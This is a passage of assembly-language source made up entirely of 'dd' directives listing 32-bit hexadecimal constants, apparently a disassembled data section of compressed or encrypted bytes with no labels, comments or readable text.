dd 0AC4C0378h, 0A9B9002Ch, 9A7F7D1Eh, 3F5C3EC1h, 0E1920000h
dd 0BA4EE953h, 0DC730081h, 92A17AEh, 2006362h, 6B2D4456h
dd 0B0559B26h, 54870098h, 10B47DA1h, 9500780Dh, 829E97E2h
dd 0E516ABh, 0FA2D31CAh, 0AE12B6DFh, 4B495000h, 3FFD4D70h
dd 6CCE0086h, 0F07E96CFh, 0E01B71Ah, 0DFA450E3h, 0A6D0D1D9h
dd 970040Dh, 0BEC46AFDh, 7FA70AC0h, 21CE04Ah, 47D3FFB5h
dd 0B1405154h, 0F3AA55Eh, 0C9D582FAh, 53611360h, 0D89D81FCh
dd 24C0206Fh, 22009400h, 3D7F1EE5h, 90C9A0EFh, 287612E0h
dd 0D3600040h, 338519C8h, 802C3E03h, 0C0350550h, 0EA0D1D0Bh
dd 0F0C854A3h, 78744888h, 61B22586h, 0C3E9CD10h, 0C0389B74h
dd 63782CE7h, 94C27924h, 3EE89C01h, 5834F425h, 4CE60071h
dd 0A6EB0A4Bh, 0D0C0F11Bh, 6B3CFEE0h, 37CA0FD6h, 0BE20631Ch
dd 2F16EEAh, 2F909F05h, 0BB14B79Eh, 995E00CEh, 56886BC7h
dd 8B6300F1h, 648A3F45h, 0DA3A6AC0h, 0A2AF00A1h, 0B8766F9h
dd 30E50968h, 8480A3F1h, 0F22AD2ABh, 80505F3Bh, 4AF84DC9h
dd 0E807A0h, 0D46388A1h, 6F1DF13Eh, 600B9D0Fh, 949E7h
dd 5B8A05Eh, 3E220039h, 2B2CBE3Bh, 0B300A289h, 83FDF00Ah
dd 1EC3DA6Ch, 0C086AE84h, 2B59C5B7h, 1207AB73h, 0F38C26Fh
dd 0F3ACCD20h, 0B97007Ch, 0DF02E810h, 7601DC01h, 6995C0A8h
dd 0FCC481AFh, 0FB8033Dh, 0C4118CD3h, 0B1265800h, 8387BF90h
dd 7840000Dh, 5C5D8ADFh, 2000B518h, 1C63B22Ch, 0D80A66h
dd 8FDD52A6h, 7FA139D4h, 0CBEE5D28h, 5FBF4600h, 38044BCDh
dd 33703AEAh, 1F09AD80h, 0E1F08A75h, 0F2257A1Dh, 0CA9D8039h
dd 0EEB1284Ch, 0FAA0A397h, 8FB6C0A4h, 0B8A0045h, 0B1F1E5F0h
dd 0E763DD4Ch, 8841BE90h, 307F3D1h, 0FD2D6E8Fh, 6600DB6Dh
dd 0F83D05Ah, 3AF0CCABh, 0FA3CD903h, 0F360F372h, 586F00B0h
dd 0E49A1B79h, 0CC0328A3h, 0C54D412Fh, 982BF372h, 8C0F31h
dd 0B1E6C369h, 3EB4C2E8h, 75CA1E09h, 0F849805Ah, 98EC8Ch
dd 0BE031733h, 16A551Ah, 0D591771Eh, 85D44580h, 58BD1C4Fh
dd 8403D76Bh, 0E0ED03B0h, 1520C698h, 768A4000h, 0B3539668h
dd 6FD21FDBh, 0E686C00Ah, 4A8E48Fh, 0E000A4EAh, 374A1F7Ch
dd 77017635h, 39DE0371h, 68819F65h, 0FC4B73A1h, 0DC00329Bh
dd 26C5F5B1h, 0CC0A3Fh, 0A7FD8220h, 83D185ECh, 0CBE90E07h
dd 0B0801A54h, 0E40181h, 9B5BBECEh, 0B7C30967h, 0CCED0B00h
dd 0DC06563Eh, 4F82009Ah, 13A00FBDh, 0AE00A344h, 9BE1C469h
dd 41CCF3Dh, 0A504687h, 2A2CC035h, 0F800ED29h, 15C4EEE7h
dd 0CEB1856h, 651EAAB0h, 0C6000820h, 9C3A2B22h, 1E6A547Ch
dd 9C9AA979h, 0E6D90645h, 3CEA2864h, 0DC313Fh, 2D65AD9Eh
dd 1D20E02Bh, 406DA239h, 0BD17F7B5h, 7016043h, 0EF0A101Eh
dd 8020578Ah, 40480005h, 0A4655267h, 2100DE43h, 2B8A7893h
dd 9D1F590h, 77595691h, 0BA536585h, 0AD204A87h, 73B5331Bh
dd 6EFC8Fh, 0BD22AF18h, 1527E257h, 167D9200h, 0D5899EE3h
dd 0D46B0775h, 65D7B9h, 0CCB0AAF0h, 8F9C4C01h, 9B8162ABh
dd 0ACC09840h, 1C4D01CFh, 53B90B6Ch, 0A9F7EC39h, 0A89DBC03h
dd 98F686E2h, 800D99h, 0DA93BB4Fh, 1005F01Dh, 4D472C00h
dd 7482E668h, 6E9400D1h, 7CC56FF4h, 0CF0035D0h, 426B97B1h
dd 7C74D6AAh, 7B3B3EEAh, 93EB8000h, 6D61B701h, 0FEC74603h
dd 0DACE2662h, 81C48209h, 1FA4C0D5h, 523A0711h, 0C08697B8h
dd 0A47B2690h, 0CF95F404h, 0AC80174Ah, 1E1DA3C5h, 0A0D836h
dd 0B4DCE126h, 503EB92h, 73D2CF18h, 0FA5BB0D7h, 90C0A85h
dd 1C8A370h, 8ECA8B8Dh, 0D840316Dh, 6C023265h, 63E9A42Bh
dd 76D481BAh, 3182FE43h, 3B3C35CBh, 4C63E540h, 77001EF6h
dd 95C639C0h, 5B347Ch, 85EB0273h, 363190C8h, 84004C90h
dd 1C38CF04h, 0F7C9257h, 0B2569452h, 0FF1ECBA0h, 28002506h
dd 3DBA4855h, 0E6DD8FEBh, 33F022h, 6B1F7A21h, 0C6C5B319h
dd 553A5202h, 407ED3B9h, 269627B4h, 7C9BACh, 0A7D613CAh
dd 6C005E7Dh, 8B8BD9Eh, 1E2E357Bh, 3978E7h, 2CF16822h
dd 20E6C724h, 35969A07h, 32C0C10Ah, 594AD4h, 0CBB01267h
dd 4602D18Bh, 50A0DA00h, 9D41E4DBh, 5928003Fh, 1E6513A9h
dd 87002E64h, 59C4B60h, 48867Ch, 98B03F10h, 69E28CEEh
dd 0C5007BE4h, 0E1CC4E7h, 0A9ABB112h, 59E4C98Ch, 6DF30156h
dd 0CE23588Dh, 0D8046550h, 0EB0082E1h, 0A49C96F2h, 0E0D075D7h
dd 0FF7938A8h, 351E6F80h, 640D3E2Ch, 341C9D00h, 1AE17660h
dd 20FC59F0h, 57E97C0Fh, 30506880h, 47788AB1h, 6C959106h
dd 0E88BAA5h, 6EDDB2D3h, 0FFE9CF80h, 18C0AD57h, 3FFCD605h
dd 4D30C75Fh, 6CBF404Fh, 1C034504h, 0F2C2E54h, 2303A0D0h
dd 5CC50044h, 35A74F6Ah
dd 0FC2C7A39h, 7BC90CBh, 0B1059FDDh, 2A3FBF40h, 79C06065h
dd 44B51646h, 5F30A801h, 0EF1ADE76h, 0FEEE6041h, 82D14840h
dd 0C07772DDh, 0CCD37138h, 10A002E9h, 1CA0EB1Bh, 307BB070h
dd 7F8E1600h, 0CC736BC3h, 6C89486Ah, 7432AA01h, 0E0863192h
dd 0B000AF60h, 219E376Ch, 30019806h, 7A18B5BDh, 823C5441h
dd 0DE9980CDh, 30EEFC47h, 20B96EA2h, 0AC506C63h, 0DB998001h
dd 0A3224132h, 55153080h, 2A50DCA8h, 1611680Ch, 1BEF189Ch
dd 409ACC30h, 31D2F4E0h, 6E835D1Eh, 52197C02h, 0B784008Ah
dd 0D0C0CB7Dh, 0ECFE4B69h, 52B00CF8h, 0B4E9FDD4h, 6C6909C7h
dd 0EF9C848Ah, 9851501Bh, 30219973h, 11D1BDD2h, 0C71C6BB3h
dd 0B0BB85BEh, 48641C5h, 24957D87h, 8750B5D0h, 0E0A62B2Eh
dd 98D71A30h, 0BE7C32FCh, 2C723916h, 74F33D06h, 81608060h
dd 0ABB00D7h, 0AB527D32h, 0E007618h, 7FB021EFh, 0D3149Dh
dd 6830173Ch, 58E4D61Eh, 0CF315D0Fh, 0AE001DACh, 2B420F40h
dd 0D56E2860h, 63C60074h, 6F0E4541h, 1C002CF2h, 8B6553E3h
dd 0CC3C1C7h, 5769FEE9h, 502F2B8h, 67FC8FD2h, 74040D4h
dd 59C90290h, 0E9C7865Ah, 3300C044h, 4F614B08h, 7422F7EEh
dd 0C5EA0F24h, 0D940F983h, 869D6C3Bh, 6F1F2D00h, 1CE035FCh
dd 0C1720041h, 0DD31B8Bh, 9B28A7CBh, 0FE70A276h, 0F4894500h
dd 2C64CFE8h, 2E1BF433h, 186DFBEh, 0D7C769D4h, 0D5818C8Eh
dd 57E1F3h, 0FE0D415Bh, 0CAD45A14h, 8CCC354h, 1C2C0C3Dh
dd 238F8218h, 416A8022h, 44D4793Bh, 5DB08E55h, 0BA1D3600h
dd 0CBB51E50h, 0E39A0E81h, 72000E5Ch, 99FF6D5Eh, 0E9CE13Eh
dd 1B2D70h, 1DD9B960h, 1BEEF89Eh, 18E0B480h, 261069D0h
dd 47FA3001h, 17FB88E5h, 1337AE0h, 1E1375EAh, 981B0A0Bh
dd 5A21ED09h, 0EBEA004Ah, 86A89457h, 62000974h, 0A9A09C31h
dd 18FF7C5Eh, 309A2629h, 0FA0CDD83h, 18EC0CF8h, 302EF864h
dd 46210BCFh, 3150AF37h, 2B19FEE1h, 49084F8Dh, 5F412184h
dd 0A38DC0AFh, 0FD1E08CFh, 0AC410F48h, 21B97166h, 0B016D887h
dd 3314C838h, 8CECAC68h, 0D8C2DE03h, 0FD02C9FCh, 30582418h
dd 0BA60800Dh, 11233Ch, 0FB968BE2h, 7081FD8h, 0EAC53F32h
dd 52F02088h, 180ECEC1h, 0C0FAD994h, 0A217AD04h, 1AA41C0Eh
dd 48C40EE7h, 2BC031CEh, 3FBE7832h, 9D3E8EEEh, 56C887h
dd 0F76C9E3Bh, 23D35h, 0A8223E98h, 0D3A0A385h, 0AFF61E00h
dd 50D21C10h, 769A0047h, 0B4AD39B8h, 451CAA7Eh, 0F240F95Ah
dd 4D021CD5h, 0C5A80087h, 145D3C69h, 0D307EF0Bh, 8A516F15h
dd 0F5A750CCh, 0A6CC5980h, 0FC027A90h, 9FE88900h, 0D62638C9h
dd 6C640F3Fh, 5120A4E2h, 82C1251Ah, 0DF957D06h, 41C201h
dd 0DC72E3E6h, 0AD76F108h, 12D95100h, 0DAE04BC8h, 19096F9Eh
dd 2048B201h, 0AFF7E02Ah, 2D0C500h, 0B18516E3h, 0EB2B0E1Dh
dd 45619DECh, 80EA1952h, 0F8C0F4D0h, 0AB5879h, 4AE9047Dh
dd 7F9AEE0h, 0A2BB58C7h, 4CEB37A1h, 0C699E6F0h, 19AC4371h
dd 1EDB900h, 0E0EFBFA7h, 1E3B3A9Bh, 9C589E80h, 4452AEFCh
dd 0CEB55A18h, 778A2170h, 9A2A00EBh, 0DA4DADD1h, 63335A3Ch
dd 0A0BDA85Bh, 0EA8F237Fh, 5D473D56h, 0A1E9BC80h, 8D539C9Bh
dd 2DC66F1Eh, 11EC1E40h, 0C97168Eh, 0B19B0BF8h, 4B056628h
dd 0C787AE0Fh, 9EA777C1h, 301D18A4h, 0E6032B49h, 18F35A0Eh
dd 2D65C3A9h, 774AE0A2h, 0D3CD0F05h, 536CEF0Fh, 0C71E7ED4h
dd 1700F49Ah, 0E993647Bh, 4BD901D8h, 0D5ACBA18h, 318BCD7h
dd 65CB2EAFh, 2010070Eh, 17D11A04h, 0B1609C30h, 0FE3E9A70h
dd 64A480D0h, 665B6EDFh, 0AD750110h, 0D5274897h, 258086E4h
dd 0CB1AF73h, 0A35B77BEh, 470099E0h, 85EBC6DAh, 18F08FDBh
dd 10C7C39Fh, 0EF7CF3BAh, 0F2BEBF00h, 18FA38F8h, 167500EDh
dd 0C621975Dh, 64008B9Fh, 8C19D204h, 0A83958h, 473DDF11h
dd 0B9090ED1h, 80279E3Ah, 0B064F697h, 8F722Eh, 3ECDEB2Fh
dd 7FC92524h, 401F1A1Ch, 0E1751340h, 364CB1h, 0F9B44197h
dd 0F216E9DDh, 62FD7F26h, 6FF84300h, 78667C1h, 0EF17756Ch
dd 0B898C0E9h, 0C0007E21h, 0C69FA599h, 14948CA9h, 0D28EF2E8h
dd 0A3383600h, 0EA9E05FEh, 9A59AB0Eh, 0A616080h, 1FF7A44Ch
dd 7C7B3Fh, 3C057EA0h, 20006DD8h, 0EC1557CAh, 1071AE5h
dd 27443335h, 0CDA52DDAh, 0F4F20B6h, 55008B7Dh, 66A64F96h
dd 90EF8FD7h, 253E00BBh, 7A332F10h, 69E6302Ch, 0F342D000h
dd 862A4DB7h, 76E53FA7h, 0C095E91Dh, 57CBF00Ah, 810BE7C7h
dd 4F42DFh, 7AA10CC3h, 0C1610684h, 0F06B639Fh, 112A8005h
dd 0DC40A833h, 8392E3D8h, 69E400E9h, 0E913F94h, 1298765Dh
dd 0C063AE1Dh, 0ECDFD4h, 2A06FC6h, 0FB24EEAh, 0C25E9D53h
dd 0AD383F20h, 6A00F625h, 2962390Dh, 0A2DE66h, 0EDFF91DDh
dd 3B6450E0h, 0E4192500h, 7EEA7695h, 0BAC600E1h, 0DF77F7CAh
dd 92008757h, 31DD119Eh, 18D6183h, 0F01A4A2Eh, 0F3B0120Eh
dd 2552F7A9h, 0B358E440h, 118E6E00h, 9AFA0F69h, 1C90725Ah
dd 6425B9h, 0B23CCC0Bh, 5E00D1BDh, 6CE0D471h, 34906Fh
dd 0A619B13Fh, 0BE4AA38h, 20424F02h, 60D21165h, 5629ABEh
dd 5298F41h, 8AC079Fh, 1C9670D9h, 145A68BAh, 0F80000E8h
dd 3D7FE6ECh, 0AC0064B0h, 6277F039h, 3E969038h, 0EF003C45h
dd 0FFC05442h, 0A4A08720h, 1600A06Dh, 0B0916EDEh, 5DBEBAh
dd 9711403Bh, 65CC2119h, 8B06C600h, 0CD2C4B44h, 0E9C90352h
dd 6F88F122h, 0D8B68D98h, 0CC88952h, 0A8CD78A9h, 3C80C0EFh
dd 0A29EEC29h, 6A008DE0h, 0CE268343h, 0DEB9C8h, 25C6A911h
dd 0DA2D7E1Eh, 0C28CF012h, 58BDE446h, 168F00C8h, 0EEFD96Ah
dd 98A03DB5h, 0E8001496h, 2B90E250h, 1574E6EDh, 0A8219D80h
dd 0F7C60600h, 0ACB5127Ch, 0FAE29C00h, 11CF1ABFh, 6E440201h
dd 93E1223Ch, 0EF7B3440h, 6CE85200h, 0C8C7AA21h, 0AD0D0092h
dd 18355589h, 70008D06h, 5CAE3EE5h, 19FA67h, 5F88DED0h
dd 0A659207Dh, 260C3704h, 0A8802B24h, 1DF2DB0h, 0C24E7C0Ah
dd 70078D96h, 0AB0324B9h, 27BBF444h, 2CD8E020h, 0C80B03CBh
dd 19DE5C49h, 0C33334E8h, 40EF8700h, 24F9C66Bh, 0F860E4F7h
dd 410700D6h, 2D1EBF14h, 9A017A3Bh, 64668B40h, 0D0F8061Bh
dd 6AAA0072h, 0BE090AEAh, 8300910Dh, 6B2A07E2h, 1E4ACA8Dh
dd 0FFAE8B99h, 94007D3Eh, 2EBEE59Bh, 89026FA8h, 0DF223111h
dd 0D390E01Ah, 0CBCD1F0Eh, 0A7C9C0CCh, 69B2F033h, 0DC9A6D09h
dd 38C001D5h, 0E9606E14h, 0ECA7396h, 6806391Fh, 7D405020h
dd 2FE6C5F8h, 57B3530Ch, 858829h, 0AE18984Ah, 0D73556D3h
dd 0A8287817h, 3CBC00BFh, 0B04574E2h, 6047AA3Ah, 0CFEBD121h
dd 0ABF70101h, 1A8EE1A1h, 26FB70CDh, 0D063CA3Ch, 7A600FADh
dd 0CCD8F830h, 3B3F6D3h, 668D2783h, 6AA81E12h, 5E0039BEh
dd 19A1E385h, 0A534FAh, 0DB3BE8C8h, 8AAE8C50h, 0F503FD00h
dd 69D6B582h, 3ED90063h, 2DFEA587h, 2A000B1Ch, 2C0F2749h
dd 3A34D1FCh, 0F6800113h, 0F46B8BEDh, 71050E92h, 1E0865C0h
dd 3D33E680h, 13B7010Fh, 0D9744FC2h, 7C3C803Ch, 0F026961Ah
dd 0C88C00A4h, 847FD386h, 9A003802h, 7DD80FA8h, 0EA3380C3h
dd 0EE2F0072h, 81D0B279h, 15F0AE93h, 0D6454B00h, 0CD24677h
dd 0BF7D0098h, 3B4A926h, 5304E574h, 93FCB733h, 9D20088h
dd 0EE1BC6Ah, 64EB805Dh
dd 0A45E0335h, 8E0F00ECh, 6AF3AC33h, 0F5030501h, 3AEF73A4h
dd 2CE7D8F8h, 0D680157h, 390689B1h, 3D002A1Fh, 97771B87h
dd 3ED7763Eh, 5680E0A9h, 0B201CE5Ch, 190765A3h, 648A0447h
dd 6B38F490h, 13D702Eh, 0D53AD697h, 401D96AEh, 0A62A26D4h
dd 33BFC00h, 67EB4E01h, 9DF200BCh, 0CE885A8Eh, 39038B9Ch
dd 6F26A086h, 32D79927h, 1009C8h, 0C01915D5h, 62A3B904h
dd 0AFC42F01h, 0A4BBD2Ch, 1E8D6080h, 0EB16E58Eh, 597B3D00h
dd 8C90569h, 38A81BD4h, 0EC818994h, 0A30BC3Dh, 0ED7126C0h
dd 55032E1Dh, 0E18E01BDh, 0A8F34EC2h, 6AD10Fh, 0D9169461h
dd 9FD4B0EBh, 0F202058h, 45A2374Eh, 0CB0E27BFh, 15C03CC1h
dd 0F23DCA17h, 2B460083h, 0DF1A086Bh, 0BF061F94h, 0C2A012AEh
dd 0C0C56228h, 881054EAh, 0FAF6248Ch, 0FEED07D9h, 61C74532h
dd 90F41660h, 720161E0h, 6B253A3Bh, 0C22DF82Ch, 50B85FFCh
dd 4D26E0A0h, 0A0A2CF00h, 9F9870B6h, 0E80F03F4h, 7BE012B3h
dd 0F6EF0788h, 412AF200h, 0FD0DF71Ch, 0F4BC00CBh, 0B142336Bh
dd 4D1F7EE8h, 0E00708F8h, 0A1C0821Bh, 5151CCC2h, 9880BA20h
dd 0B0B937B1h, 3400D7A4h, 5EA646F1h, 155A705h, 81F804B3h
dd 40F57733h, 0F06AA1BCh, 6B601190h, 56E54710h, 0DEC0036Fh
dd 0B6AA0971h, 0D452082Ah, 56BCEA00h, 9050F2A3h, 3ADD0165h
dd 5DF5707h, 8D8C5088h, 0C618295Fh, 7D110935h, 9FAC0514h
dd 0C11695C0h, 0D115FD04h, 8DCC402Fh, 0AC000E4Ah, 0A64BF1F4h
dd 3C60319h, 3D27D793h, 50238817h, 0AC1000BAh, 15F5C0ABh
dd 0F85E8085h, 0CE8707BEh, 1984AF00h, 1CFEBD95h, 23940008h
dd 76CD5D1Dh, 0F4064139h, 6C92A48Dh, 0A2707E0h, 9006C9B3h
dd 0ED3D6A09h, 1708D165h, 0AABBB040h, 1B79CAh, 0FE0D7FD5h
dd 0FC21E6A5h, 0DFE141C0h, 34A0A06h, 1EAFB693h, 9AA8AB2Ah
dd 0E77E264Dh, 0EE20C01h, 2BC7F95h, 5D1C8083h, 9000B0F5h
dd 2DE14D87h, 9691A5h, 0F8EDC233h, 19CFD576h, 3CAB7C00h
dd 48302C50h, 1856007Ah, 0E71FD60h, 0D4005CA0h, 22249047h
dd 26D12B3Bh, 79BAB7h, 2C1149CEh, 9200BDAAh, 54E60C52h
dd 3DE285h, 2820B514h, 4F03BE3Ch, 4E8BAB03h, 0E2E92B3Ah
dd 0A104BE3Bh, 10804876h, 0DBE444A8h, 0F800C516h, 0E3634AC4h
dd 9074BDC3h, 4C87018Ah, 7AA8E771h, 242990E1h, 44C03184h
dd 0DC445F73h, 424048D7h, 1F26D067h, 95730051h, 5DE8A532h
dd 0A4003778h, 6D02F3FAh, 8728E5h, 46D29921h, 14FC3E6Eh
dd 20EF89B8h, 6C03DDD0h, 0F434FBC4h, 2E7A001Bh, 0FEF3C57Ch
dd 0EF0658ADh, 743323D0h, 3E4300F1h, 1B174755h, 0A7007511h
dd 22546245h, 2A969h, 51C1ADE7h, 772B1B0Dh, 0C4009F76h
dd 0F8B805F5h, 74B98512h, 9C9500FBh, 8AD3758h, 0AE2515B3h
dd 3F30D461h, 0D3EE2A00h, 383B3EE4h, 67B56300h, 2F9D597Ch
dd 0ED690036h, 4517AA14h, 47008A2Ah, 3243DA74h, 637E5Fh
dd 0FC1C04F6h, 4849D031h, 42B51301h, 0C9C2BA5h, 3336F0h
dd 967DC8BEh, 0D397258h, 1347DB00h, 270C1A29h, 37FC1883h
dd 0C96420B0h, 0F1C0A418h, 1E2F231h, 0ED327585h, 80E79C19h
dd 0B1C89219h, 1CE3F96Ch, 80991697h, 327165CEh, 49021ECAh
dd 0C11F2613h, 0B41140D9h, 0E3669073h, 8D72AC40h, 0B58417DEh
dd 80101B95h, 0C26998F0h, 80D9683Fh, 1AD7F456h, 0B645A0h
dd 4B4F5767h, 39A7C406h, 0D0916E00h, 0ADEE4063h, 0E7441E10h
dd 21CE4089h, 3B1AF2D6h, 0F6C7B900h, 78A3D1D9h, 5D10015Ch
dd 67AFBC1Ch, 93DBD868h, 6000E871h, 7C815561h, 2ECFDFA0h
dd 0D3FF9Ah, 7235CC1Eh, 6A003EA4h, 94872EC4h, 36EAA90h
dd 7848A525h, 85E08B27h, 0A000D937h, 92A3ADC8h, 45062E2h
dd 870178CDh, 0CF24802Ch, 1B0008D8h, 48DB0B6Bh, 85D2B7h
dd 2228E612h, 29F13589h, 2B794004h, 0B1C77A8Eh, 762EBFA0h
dd 460B00DDh, 95217F99h, 0F5041D10h, 2D0390AFh, 0AAE95580h
dd 5F7A4Ch, 0D96235Bh, 0A243C336h, 1B353Dh, 880EA486h
dd 374D5B0h, 0AB581A78h, 0D1E89B03h, 1B1F7318h, 0C3836FA1h
dd 0C8DD3F51h, 0FCB1455h, 0AF9ED452h, 5F3AA460h, 8C003460h
dd 0F2506E92h, 1DBF890h, 4B9C9379h, 0F8573BB3h, 0E6000F7Ah
dd 744C42C5h, 0AB407Eh, 28525DFBh, 664DCBA5h, 116B7D01h
dd 173BE24Ch, 0D08E20h, 0DCF78690h, 2AF9EA7Ch, 0BFEDC600h
dd 0DD9BFACDh, 2CD905DEh, 11F5FCFh, 0A1B377A8h, 0AA76CC05h
dd 27DFD100h, 0F0317A7Dh, 3BEF00FAh, 41A6C07Ch, 14E40613h
dd 0D5AC5E16h, 23562B00h, 7E170Eh, 95491C59h, 5C8B85Ch
dd 820CA8A0h, 15BD200h, 734F8420h, 0F8B0C99Eh, 0EFAF420h
dd 5800C5A6h, 0ED2453C4h, 0AA2A07h, 0EC5A6308h, 1C1D4BABh
dd 12C65400h, 0BED0CCC4h, 2C1E0EDDh, 8500CAF1h, 0F3E7A33Dh
dd 9B25721Ch, 0C151F500h, 3BF2AEAFh, 4184205Ah, 814AD3E6h
dd 0F4E0C474h, 0A058605Eh, 0B76E007Fh, 0F889155Ah, 1B0E4h
dd 414C255Fh, 0D80F4082h, 27243809h, 0F20D008Ch, 3BDB1E91h
dd 7E0E8068h, 2520C4EBh, 3A06D426h, 9323F401h, 95362E08h
dd 153F030h, 1F4B761Ah, 0C83A2A5Fh, 930084B3h, 0C4C2EAFBh
dd 0D87779h, 4EFDACECh, 94A7C1AFh, 70002090h, 891B493Fh
dd 9AA684h, 0F526ED0Eh, 0D145168Eh, 697C627Eh, 4611E400h
dd 4A643284h, 0C50070Fh, 0E36851F3h, 0A8B00791h, 0B7062E02h
dd 21E51C5Fh, 2D7C98h, 0D8428028h, 220EE0DFh, 0FC02A600h
dd 0BC7A6BE3h, 0A19D0719h, 80C03960h, 0EBEFED23h, 2BDC2F1Dh
dd 6EDBF200h, 11DC396h, 5F2A6068h, 7083FD07h, 6D006C69h
dd 90512E44h, 924031h, 0BF6E6526h, 3EA08CF1h, 3AE46B00h
dd 0A559EC0Dh, 0FC814BCEh, 8FD30197h, 0E21007E8h, 7C4BA60h
dd 0E68C3695h, 7E7B603Bh, 0B200F901h, 0EEEC6B81h, 1B78023Eh
dd 0D89287D0h, 53516490h, 82A72700h, 9BD9B17Dh, 73A400BBh
dd 0C141E9DBh, 53007430h, 4A548745h, 0A9072C61h, 1023A4B4h
dd 0CE44C601h, 4019469Dh, 0A3701AB8h, 0E500917Dh, 0AE661BF6h
dd 7ADC42h, 3B4527D8h, 44BA748Eh, 54AA9B00h, 2F12051Fh
dd 0A5723E59h, 0ECDF9481h, 0C011C230h, 0AC0060AAh, 58FD8608h
dd 26EA89CDh, 3D0E84Eh, 0C64598BBh, 0C4F2ECB0h, 3BB5F90Fh
dd 1C4CC063h, 757E8Dh, 0C3148A43h, 7ACBBD64h, 0E72C24B0h
dd 0DC0054DBh, 20562D1Ch, 1D8DBA5Ch, 803FB485h, 4752C58Eh
dd 81B86C4Eh, 0FA163400h, 8107B83Dh, 86A400ADh, 3C66A10Ch
dd 2E02FC1h, 0F7F0B7h, 0A36F0F56h, 0E91242BAh, 7B964B3Fh
dd 2A98E404h, 0E48CBE05h, 0AFF054h, 7F6F01FEh, 8E7D4731h
dd 1FB9CF01h, 0CAC88543h, 4AEEF4h, 1AB851C0h, 960C2915h
dd 439AD904h, 3F806BC2h, 0FCE5A0C6h, 3C10055h, 3F050C2Ch
dd 60488245h, 546F0077h, 0A5CB9E06h, 556800E4h, 37267425h
dd 8400ED3Eh, 0DFCC6139h, 3C5EA8CAh, 4E0E060Fh, 0C9E0C89Bh
dd 0C21024DAh, 82040A00h, 209602A1h, 1990141h, 0CEEECC83h
dd 87903045h, 57105000h, 2103E342h, 0AD0A395Ch, 0A973C100h
dd 31E9CCC0h, 86D17817h, 0ED971800h, 0D7855Dh, 1F14061Eh
dd 0AC49AD67h, 75450B3Dh, 2CCF8B05h, 0AC21C33h, 1D38CE4Bh
dd 8713FB81h, 10A9E431h, 0AD6C8C8Ah, 0CB58A1B0h, 0AF9F0044h
dd 0E9B5753Dh, 70E8A063h, 0A46A0C6Fh, 6AE8E16h, 2EB1774Bh
dd 732ECA30h, 4E65001Fh
dd 3C9E7C25h, 6B04D66Dh, 0DC67CD0Dh, 904624C3h, 70E7F796h
dd 0A4080022h, 0B29BA106h, 94006E24h, 43D77D59h, 383BB56h
dd 4A1162A7h, 0BFD08C17h, 8F00750Eh, 490A27BCh, 0BA6EA02Dh
dd 86250188h, 53D76D74h, 0B3A7C487h, 44007D72h, 0DFB0156Bh
dd 0A4C8D9h, 8864F274h, 9DA273C2h, 97E2BE0Bh, 9EB08192h
dd 86D0E3DDh, 500F7ACEh, 2774FC9Bh, 88DCEB3Fh, 6CC54F03h
dd 0D25ACB08h, 0CBDC8038h, 2816404h, 0FCF8B806h, 64C07E62h
dd 5E005495h, 5DD505Bh, 757A293h, 0FA0227A9h, 2B1AC331h
dd 6D71F7A8h, 0B03DC100h, 9D2A39F4h, 48DCA867h, 5AFE1DC6h
dd 0BC80C101h, 0F851FC26h, 0DD054393h, 288F744Eh, 640C6480h
dd 783F5931h, 4004F41Eh, 0C4BB30EEh, 970002B7h, 4D6FE991h
dd 1BCF25h, 260ABF3Fh, 0AA8DFA70h, 0B8C23700h, 4C6512E9h
dd 18161DC3h, 827B00CEh, 3D5F6FE6h, 97625800h, 80254B8Ch
dd 0DD5100B8h, 0EE6C1B03h, 900374BDh, 69A0BE68h, 0A4DA153h
dd 5579D1E8h, 75F4884Fh, 90D90088h, 7AB767Ch, 0D62586B9h
dd 7EDC034Eh, 0A42290BFh, 1CE10059h, 0A86625F5h, 7401F72Ah
dd 83DB07A6h, 0E9D84BD5h, 93A90042h, 2B78300Ch, 0E2005AD0h
dd 35CC201Bh, 83714Ch, 99464CFh, 39218D1Fh, 4B5FBD3Ch
dd 41148800h, 0F3DB246h, 1A103E76h, 22803ACFh, 0BCE3667Eh
dd 1E118160h, 40CEB877h, 90AE924h, 0B7727F57h, 19F560Fh
dd 9C051196h, 134330h, 22FE45D6h, 23B80C3Dh, 0C3348A00h
dd 0BE1884ADh, 88A125AFh, 0AE3B3000h, 0E3632460h, 0B7D77CECh
dd 0CEE56240h, 46522A6Ah, 6EBA288Ch, 0F26EE5Ch, 0B3C20769h
dd 53E77160h, 0A1174BFEh, 0E009270h, 562E482Ch, 609A1D4Fh
dd 262F01A8h, 0D00F3677h, 451252CFh, 0EC1C2DE8h, 1EA34980h
dd 0ECAF417Fh, 9A9100E2h, 35C0822Fh, 4700B933h, 0EBC54070h
dd 3A325AD4h, 23801ADCh, 0FC1B9E56h, 9099D22h, 514560h
dd 41B4B7D9h, 0B1A26190h, 0C040FC15h, 310028DCh, 2908EFC4h
dd 0DB1C5h, 0A1B211B4h, 221E807Ch, 4AB33B00h, 413F8605h
dd 805B509Ah, 94AA38A1h, 0A0E2AEh, 781D476Ah, 630C7D27h
dd 681EC219h, 8FB0E9h, 268150A3h, 0A6FF9BDBh, 9D001A7Bh
dd 3D691401h, 0E5C607h, 0AEF6C043h, 798095B6h, 0EBBFA100h
dd 0B85AD763h, 0C07702CDh, 5F29C5DBh, 9930C0A1h, 2638C407h
dd 6450F400h, 0E57A8DF5h, 13FD0056h, 5EE61FC5h, 0A40EAC73h
dd 0C05A6350h, 452AB0FFh, 16713CF6h, 10AEC299h, 0C3045AC4h
dd 2BB9BDh, 1602610h, 25BFA475h, 26E35758h, 1C00DC3Dh
dd 29C7BD47h, 18C47313h, 2874F83Eh, 0A78056A9h, 0C2C800CAh
dd 15250D33h, 5F004758h, 0B38A1651h, 36DD297h, 0EBE60FE8h
dd 78A86AF5h, 371F2ECFh, 0FF400640h, 0B2A85F66h, 0FDDF003Ch
dd 36BBBCCDh, 1B00286Dh, 96213B2Fh, 0B03951F6h, 0FEB60010h
dd 3762DD02h, 6C0047A9h, 0F577B843h, 0C283EDh, 0FFA03BCCh
dd 0C0D24B5Fh, 9F006075h, 0E05CF04Fh, 71A4813h, 0BFAB5E7Bh
dd 913DD0B6h, 0F63CB32Fh, 0F8A200C8h, 3EA5EE2Eh, 8299002Dh
dd 228EB749h, 970047C2h, 17719EE2h, 50968BE3h, 5DA4A2h
dd 0ECDEED07h, 0CDB7A90Ch, 0DB00E075h, 4ECB5FC4h, 52A437h
dd 327C9B43h, 0DDC5C3D0h, 0F33DEA00h, 663C12CDh, 89951D7Eh
dd 37807BF1h, 0D52E4DD4h, 0CA00526Bh, 0C6286EAFh, 0EC7FF9h
